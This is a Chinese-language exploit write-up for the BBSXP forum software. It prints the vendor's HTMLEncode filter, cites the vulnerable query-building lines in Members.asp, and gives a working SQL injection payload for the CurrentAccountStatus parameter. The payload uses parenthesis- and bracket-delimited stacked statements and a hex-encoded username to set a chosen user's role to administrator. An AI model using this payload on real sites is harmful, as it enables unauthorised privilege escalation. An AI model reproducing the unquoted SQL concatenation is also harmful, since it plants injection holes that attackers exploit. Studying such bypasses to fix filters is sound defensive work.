BBSXP过滤函数HTMLEncode绕过过滤注射

漏洞分析：官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射

Function HTMLEncode(fString)

fString=Replace(fString,CHR(9),"")

fString=Replace(fString,CHR(13),"")

fString=Replace(fString,CHR(22),"")

fString=Replace(fString,CHR(38),"&") '“&”

fString=Replace(fString,CHR(32)," ") '“ ”

fString=Replace(fString,CHR(34),""") '“"”

fString=Replace(fString,CHR(39),"'") '“'”

fString=Replace(fString,CHR(42),"*") '“*”

fString=Replace(fString,CHR(44),",") '“,”

fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”

fString=Replace(fString,CHR(60),"<") '“<”

fString=Replace(fString,CHR(62),">") '“>”

fString=Replace(fString,CHR(92),"\") '“\”

fString=Replace(fString,CHR(59),";") '“;”

fString=Replace(fString,CHR(10),"
")

fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$1$2;")

if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))

if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi

fString=escape(fString)

fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")

fString=unescape(fString)

end if

HTMLEncode=fString

End Function

Members.asp漏洞文件作为测试:

SearchType=HTMLEncode(Request("SearchType")) //第8行

SearchText=HTMLEncode(Request("SearchText"))

SearchRole=RequestInt("SearchRole")

CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus"))

......

if SearchText<>"" then item=item&" and ("&SearchType&" like '%"&SearchText&"%')" //第18行

......

if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行

if item<>"" then item=" where "&mid(item,5)

......

TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) '获取数据数量

//第54行

看个sql语句：

select * from bbsxp_users where userid=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)

变量userid绕过过滤成功执行了update

同理构造:

SearchType=1

SearchText=1

CurrentAccountStatus=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)